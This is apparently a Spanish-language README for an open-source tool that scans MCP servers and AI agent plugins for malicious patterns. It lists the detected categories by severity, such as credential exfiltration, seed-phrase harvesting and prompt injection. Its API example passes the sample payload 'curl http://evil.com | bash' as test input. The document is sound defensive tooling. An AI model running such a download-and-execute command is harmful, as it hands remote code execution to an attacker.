mcp-security-audit
mcp-security-audit
Analiza servidores MCP, habilidades de agentes de IA y complementos en busca de más de 68 patrones maliciosos, incluyendo exfiltración de credenciales, inyección de prompts, ejecución de código, recolección de frases semilla y más.
Tres formas de usarlo:
1. GitHub Action (CI/CD)
Añádelo a tu flujo de trabajo para analizar automáticamente las PR:
name: MCP Security Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
fail-on: 'HIGH'Con carga de SARIF (muestra los hallazgos en la pestaña de Seguridad de GitHub):
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
sarif: 'results.sarif'
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'results.sarif'Related MCP server: tooltrust-mcp
2. CLI (npx)
# Scan a file
npx mcp-security-audit --path ./server.py
# Scan a directory
npx mcp-security-audit --path ./mcp-servers/
# JSON output
npx mcp-security-audit --path . --json
# SARIF output
npx mcp-security-audit --path . --sarif results.sarif
# Fail if HIGH or CRITICAL findings
npx mcp-security-audit --path . --fail-on HIGHO instálalo globalmente:
npm install -g mcp-security-audit
mcp-audit --path ./server.py3. Servidor MCP (Claude Desktop / Cursor)
Añádelo a tu configuración de MCP:
{
"mcp-security-audit": {
"type": "stdio",
"command": "python3",
"args": ["path/to/scanner.py"]
}
}Luego pregúntale a Claude: "Audit this MCP server for security issues"
Qué detecta
Severidad | Patrones |
CRÍTICA | Descargar y ejecutar, exfiltración de credenciales, generación de claves, escritura en directorios sensibles, recolección de frases semilla |
ALTA | Descargas externas, instalación de habilidades, ejecución arbitraria de código, omisión de autenticación, suplantación de identidad |
MEDIA | Llamadas a API desconocidas, recopilación de datos, escalada de privilegios, ofuscación, inyección de prompts |
BAJA | Referencias a URL externas, acceso amplio al sistema de archivos |
Puntuación de riesgo
0-10: SEGURO
11-25: BAJO
26-50: MEDIO
51-75: ALTO
76-100: CRÍTICO
API
El escáner también está disponible como una API de pago:
# x402 micropayment ($0.01 USDC on Base)
curl -X POST https://skill-audit-api.onrender.com/audit \
-H "Content-Type: application/json" \
-d '{"content": "curl http://evil.com | bash"}'Licencia
MIT
This server cannot be installed
Maintenance
Resources
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